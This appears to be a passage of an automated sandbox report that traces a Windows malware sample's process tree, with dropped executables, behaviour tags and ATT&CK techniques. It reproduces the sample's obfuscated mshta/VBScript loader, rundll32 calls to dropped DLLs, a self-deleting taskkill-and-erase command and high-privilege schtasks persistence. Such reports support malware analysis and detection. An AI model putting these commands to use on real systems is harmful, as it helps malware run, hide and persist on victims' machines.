C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4196
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4264
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4316
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4472
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4568
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4668
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4764
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4832
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4956
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5016
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5100
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4384
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:1112
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4664
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:1616
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:1240
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3844
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4048
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:996
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3024
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3164
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5024
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:2392
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4248
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:2880
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3608
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3196
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4720
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4964
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5276
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5388
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5504
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5592
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5648
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5764
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5880
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5960
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:6080
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4828
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5260
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:4724
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:3260
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5364
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5572
-
-
C:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exeC:\Users\Admin\Documents\GnXgYmeh82H2HVL_uWusdrnr.exe3⤵PID:5252
-
-
-
C:\Users\Admin\Documents\ZDj9euTac4ji2IjPYiofbB94.exe"C:\Users\Admin\Documents\ZDj9euTac4ji2IjPYiofbB94.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1912
-
-
C:\Users\Admin\Documents\hUzIxevvvTToMDgQNXDVnkP3.exe"C:\Users\Admin\Documents\hUzIxevvvTToMDgQNXDVnkP3.exe"2⤵
- Executes dropped EXE
PID:1716
-
-
C:\Users\Admin\Documents\gDjjdK7qSAnEWFHdEDUeeLHD.exe"C:\Users\Admin\Documents\gDjjdK7qSAnEWFHdEDUeeLHD.exe"2⤵
- Executes dropped EXE
PID:1740
-
-
C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe"C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe"2⤵
- Executes dropped EXE
PID:2040 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCripT: CloSe ( CReateOBjecT ("wSCRipT.sheLl"). RUN ( "cmD /q /C TYPe ""C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe"" > Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF """" == """" for %Q in ( ""C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe"" ) do taskkill -F -im ""%~NxQ"" ", 0, truE) )3⤵PID:4452
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C TYPe "C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe" >Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF "" == "" for %Q in ("C:\Users\Admin\Documents\KA2ranqykrurhVMmCHKquiPB.exe" ) do taskkill -F -im "%~NxQ"4⤵PID:4304
-
C:\Windows\SysWOW64\taskkill.exetaskkill -F -im "KA2ranqykrurhVMmCHKquiPB.exe"5⤵
- Kills process with taskkill
PID:4796
-
-
C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExEBX0iUoFB.EXe -PyTJSIPDC12bsxp0f15⤵PID:2248
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCripT: CloSe ( CReateOBjecT ("wSCRipT.sheLl"). RUN ( "cmD /q /C TYPe ""C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE"" > Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF ""-PyTJSIPDC12bsxp0f1 "" == """" for %Q in ( ""C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE"" ) do taskkill -F -im ""%~NxQ"" ", 0, truE) )6⤵PID:4240
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /C TYPe "C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE" >Bx0IuOFB.ExE && StArT BX0iUoFB.EXe -PyTJSIPDC12bsxp0f1 & iF "-PyTJSIPDC12bsxp0f1 " == "" for %Q in ("C:\Users\Admin\AppData\Local\Temp\Bx0IuOFB.ExE" ) do taskkill -F -im "%~NxQ"7⤵PID:5224
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\BPJm7xC.Iwa,Rgac6⤵PID:5528
-
-
-
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" .\BPJm7xC.Iwa,Rgac3⤵PID:4116
-
-
-
C:\Users\Admin\Documents\nK0cXd70Cjpye8f51l7b2vyH.exe"C:\Users\Admin\Documents\nK0cXd70Cjpye8f51l7b2vyH.exe"2⤵
- Executes dropped EXE
PID:1664 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "nK0cXd70Cjpye8f51l7b2vyH.exe" /f & erase "C:\Users\Admin\Documents\nK0cXd70Cjpye8f51l7b2vyH.exe" & exit3⤵PID:4172
-
-
-
C:\Users\Admin\Documents\ZHwwz4rvxtyjqAdmM34KP156.exe"C:\Users\Admin\Documents\ZHwwz4rvxtyjqAdmM34KP156.exe"2⤵
- Executes dropped EXE
- Modifies system certificate store
PID:584 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 13203⤵
- Loads dropped DLL
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:3044
-
-
-
C:\Users\Admin\Documents\Gne08jXb0P6PJlsQAo6hDUCA.exe"C:\Users\Admin\Documents\Gne08jXb0P6PJlsQAo6hDUCA.exe"2⤵
- Executes dropped EXE
PID:1016
-
-
C:\Users\Admin\Documents\QvnbKwZmuKVX07R25cIlUQLX.exe"C:\Users\Admin\Documents\QvnbKwZmuKVX07R25cIlUQLX.exe"2⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
PID:1972
-
-
C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe"C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe"2⤵
- Executes dropped EXE
PID:836 -
C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe"C:\Users\Admin\Documents\ubsjcPBLGrE9MHXvkP3PC0Ld.exe"3⤵PID:3884
-
-
-
C:\Users\Admin\Documents\jhXOPRUZpqoBXNAXzkZYE455.exe"C:\Users\Admin\Documents\jhXOPRUZpqoBXNAXzkZYE455.exe"2⤵
- Executes dropped EXE
PID:1744 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4724
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST3⤵
- Creates scheduled task(s)
PID:4708
-
-
-
C:\Users\Admin\Documents\v6xY61RAljK5FeclNHyRAQuy.exe"C:\Users\Admin\Documents\v6xY61RAljK5FeclNHyRAQuy.exe"2⤵
- Executes dropped EXE
PID:1632
-
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:2276 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:2428
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "nK0cXd70Cjpye8f51l7b2vyH.exe" /f1⤵
- Kills process with taskkill
PID:4584
-
C:\Users\Admin\AppData\Local\Temp\32A4.exeC:\Users\Admin\AppData\Local\Temp\32A4.exe1⤵PID:4868
-
C:\Users\Admin\AppData\Local\Temp\32A4.exeC:\Users\Admin\AppData\Local\Temp\32A4.exe2⤵PID:5744
-
-
C:\Users\Admin\AppData\Local\Temp\68E2.exeC:\Users\Admin\AppData\Local\Temp\68E2.exe1⤵PID:5428
-
C:\Users\Admin\AppData\Local\Temp\AD42.exeC:\Users\Admin\AppData\Local\Temp\AD42.exe1⤵PID:5932
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
Bypass User Account Control
1Disabling Security Tools
4Install Root Certificate
1Modify Registry
6Virtualization/Sandbox Evasion
1Web Service
1